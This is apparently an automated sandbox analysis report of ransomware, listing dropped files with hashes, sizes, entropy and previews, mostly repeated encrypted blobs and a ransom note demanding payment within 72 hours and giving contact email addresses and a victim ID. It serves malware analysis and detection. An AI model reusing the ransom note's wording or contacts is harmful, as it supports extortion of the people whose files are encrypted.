                                                                                                                                                                SSDEEP:6:ez7TEriV4q9uWsQHef54LHp6AQBN4ZEQ/VZ0+7aeRipSQX6M6mFCgHQHn:WICuMefAHp6AQBgEQ/VZ0+7VRwKM6nHn
                                                                                                                                                                MD5:6699F2EC0A0A19AD89C648FC14F1BF67
                                                                                                                                                                SHA1:2390B8BE590A9F2C5F2520016993A672DA8B96BF
                                                                                                                                                                SHA-256:FEF00276EF1005EAC0855B07AB676D50128A7FF4EC8BF79991A5BABE7A39EA31
                                                                                                                                                                SHA-512:1C72932EBE3C3F5C303EC394BBC04830743646CE48A1B34656C19470FF183D63E1B30160BD5001B7C94751900C975BE32D2D64FD305A5C444D2CC16A5F4A0D49
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:...dp.f.V....Mfu.X.k.......g$...|ja...u..G...Q..x.E.........:$.H.7.DO.2.N.`.E[@...j.<';.............[.2{.@.U.0i.........ho.a......E.K.....g..........v.UD.\d..Z.....|p.a...%.D...I,..;.-*..p.=S..K....=w.E......'s..h.6.0.}n>o.6...S......+ y..-1....1..B.._.9p.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):734
                                                                                                                                                                Entropy (8bit):7.70263379045094
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:R8hQMY/sGIZFK8uLifJV6ul8GaO9K37IuBX2DSRI8/8zJNQDTLNIMrVwn:ShNFK8PfJ3sDIuc4/81CDVIMBw
                                                                                                                                                                MD5:9886CD29C536D91A457C71B90A859C01
                                                                                                                                                                SHA1:C4A883BB29643A37DEC6A0407F160541FE194C0C
                                                                                                                                                                SHA-256:3B2EB7379C8BF0EEAE5997A96903E9E27E51C9A45B6ACD775EA10F8FA144B834
                                                                                                                                                                SHA-512:C5D02ED0AF6145F9E425D528025CA69F0FEB4972B4B111FC19EC9FD9FA8CF0DD817F0178B7AD1ED4007AD0D3F26C76EC742EDD1AF81134848C663291EAD49A18
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:...;...M..7..U..=C..4p.]m..Vq.[...R...eQg.*..22.....~.1...Q..,.].X.....Ho.........C.:.u.H.jg....b....2o?..G...]&@..d...*.2.=.#.%kP..r.B..y9..6.x`..D.g2..!..hF.n...&.....x.vD....9. z. ..E..&..ia6...y..Ht..w...I.....u..m..Y.`Js{Ih....7.4.[....>...E.........%E..e.....(...T.e..d.v.Z8..vA7a.k&.JP..0.(L..)...8~6.=.......Pq..u[....l.A|f./l...}.,L.m..S..........=!...I.1D.U.&4...Tx......7..Z....~.....O..rbP..2x.<.q+c.X.m.k..P....Um.98...bV...}.X.k$e...\.>K....`f.?2I..g..l...3&..^a7..] ..v..\c.-..tN=.....@*..O.I..0.=...l.%..F2^.a.......^v3#.a..hJ...^..xT..V..x.KYy....N.3.T..t...e....,^.!....G....`.PRn...b.y*)z....?.%....>5d..6` ....f.9x!.O....`.;0k..t...V.^.......|:+..Q......`..@]IF...w..$0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):734
                                                                                                                                                                Entropy (8bit):7.70263379045094
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:R8hQMY/sGIZFK8uLifJV6ul8GaO9K37IuBX2DSRI8/8zJNQDTLNIMrVwn:ShNFK8PfJ3sDIuc4/81CDVIMBw
                                                                                                                                                                MD5:9886CD29C536D91A457C71B90A859C01
                                                                                                                                                                SHA1:C4A883BB29643A37DEC6A0407F160541FE194C0C
                                                                                                                                                                SHA-256:3B2EB7379C8BF0EEAE5997A96903E9E27E51C9A45B6ACD775EA10F8FA144B834
                                                                                                                                                                SHA-512:C5D02ED0AF6145F9E425D528025CA69F0FEB4972B4B111FC19EC9FD9FA8CF0DD817F0178B7AD1ED4007AD0D3F26C76EC742EDD1AF81134848C663291EAD49A18
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:...;...M..7..U..=C..4p.]m..Vq.[...R...eQg.*..22.....~.1...Q..,.].X.....Ho.........C.:.u.H.jg....b....2o?..G...]&@..d...*.2.=.#.%kP..r.B..y9..6.x`..D.g2..!..hF.n...&.....x.vD....9. z. ..E..&..ia6...y..Ht..w...I.....u..m..Y.`Js{Ih....7.4.[....>...E.........%E..e.....(...T.e..d.v.Z8..vA7a.k&.JP..0.(L..)...8~6.=.......Pq..u[....l.A|f./l...}.,L.m..S..........=!...I.1D.U.&4...Tx......7..Z....~.....O..rbP..2x.<.q+c.X.m.k..P....Um.98...bV...}.X.k$e...\.>K....`f.?2I..g..l...3&..^a7..] ..v..\c.-..tN=.....@*..O.I..0.=...l.%..F2^.a.......^v3#.a..hJ...^..xT..V..x.KYy....N.3.T..t...e....,^.!....G....`.PRn...b.y*)z....?.%....>5d..6` ....f.9x!.O....`.;0k..t...V.^.......|:+..Q......`..@]IF...w..$0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):290
                                                                                                                                                                Entropy (8bit):7.309072560768994
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:inb0R5/hFVWSQaHxdwPo+LXciQrfayUDaC+x95OMfu+wf1yCY2n:Ab45pSSQm4s5LayjC+Qou+wdyCY2n
                                                                                                                                                                MD5:4AB498BE10E9C6FF587B806891FBB655
                                                                                                                                                                SHA1:AE6C8CD5302B94B382CDBECE89970F01B8450E9E
                                                                                                                                                                SHA-256:77B4311ED8E26415B17FE9727131DA7C3890D7274FAECA19C676BF01A52A4EAF
                                                                                                                                                                SHA-512:A80877E44E7767065E242722FE694C893058A1A22B6DF856144466B4FCB292F7938E58436B9D47D0135E410868052159F77C8B240ABC16FCBDBC309AA15C9294
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:...y...MmWi....`....>...Lm.....L.F.....4v..6.../.s.b.|....'.d>.<......b..iF....L.=.S.....O...l........j.9..n...p(W.+=t=.....;..S...s.."RZ.j^k.......1..#...1r^R....=k.Qd.g.....O+...|..[...7....c%fxt..M2.w........,.......[...3............1...s. 8........%r.bN..D.j....0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):290
                                                                                                                                                                Entropy (8bit):7.309072560768994
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:inb0R5/hFVWSQaHxdwPo+LXciQrfayUDaC+x95OMfu+wf1yCY2n:Ab45pSSQm4s5LayjC+Qou+wdyCY2n
                                                                                                                                                                MD5:4AB498BE10E9C6FF587B806891FBB655
                                                                                                                                                                SHA1:AE6C8CD5302B94B382CDBECE89970F01B8450E9E
                                                                                                                                                                SHA-256:77B4311ED8E26415B17FE9727131DA7C3890D7274FAECA19C676BF01A52A4EAF
                                                                                                                                                                SHA-512:A80877E44E7767065E242722FE694C893058A1A22B6DF856144466B4FCB292F7938E58436B9D47D0135E410868052159F77C8B240ABC16FCBDBC309AA15C9294
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:...y...MmWi....`....>...Lm.....L.F.....4v..6.../.s.b.|....'.d>.<......b..iF....L.=.S.....O...l........j.9..n...p(W.+=t=.....;..S...s.."RZ.j^k.......1..#...1r^R....=k.Qd.g.....O+...|..[...7....c%fxt..M2.w........,.......[...3............1...s. 8........%r.bN..D.j....0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):292
                                                                                                                                                                Entropy (8bit):7.145780025342951
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:4BFLYpX7vggYqrce8BUyBG+ZyuXDKxhBLHfFj8DQrD3Sn:4BNYhI/Z8GGNWKDBLdjrmn
                                                                                                                                                                MD5:737FC186FD50EB8BB65C2F6CA6BF9C44
                                                                                                                                                                SHA1:02B87FAEF4B95BD49EE918B22ADB57A55FDD2A1E
                                                                                                                                                                SHA-256:47170CC81780534F73AFE5DF9DFE93F452EB0EB25CC31C53C4E3F04748D458CC
                                                                                                                                                                SHA-512:DB19A4AAD4FCD326D46C16A57721FB859C37945438979EE512BCF62C4D802757FF5015E262FA3D8476F5C7095B672BA03EA0CAA268833FD0C8986B83797917ED
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:R...I...s.`...............6..,.........kC.x......K..c{......"..F.9...A.|..{8Yo...i_..G...........&:d0<.X..y..H%..o..........j."...].o...U...WV..W"V....0..=<...or.2.......Y@.x.)..a<..e.!..\.5]..ju.v ....m5B......[.VQ......&|.3).O!c.?. .tO#......U..o..b..5?.o?.us.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
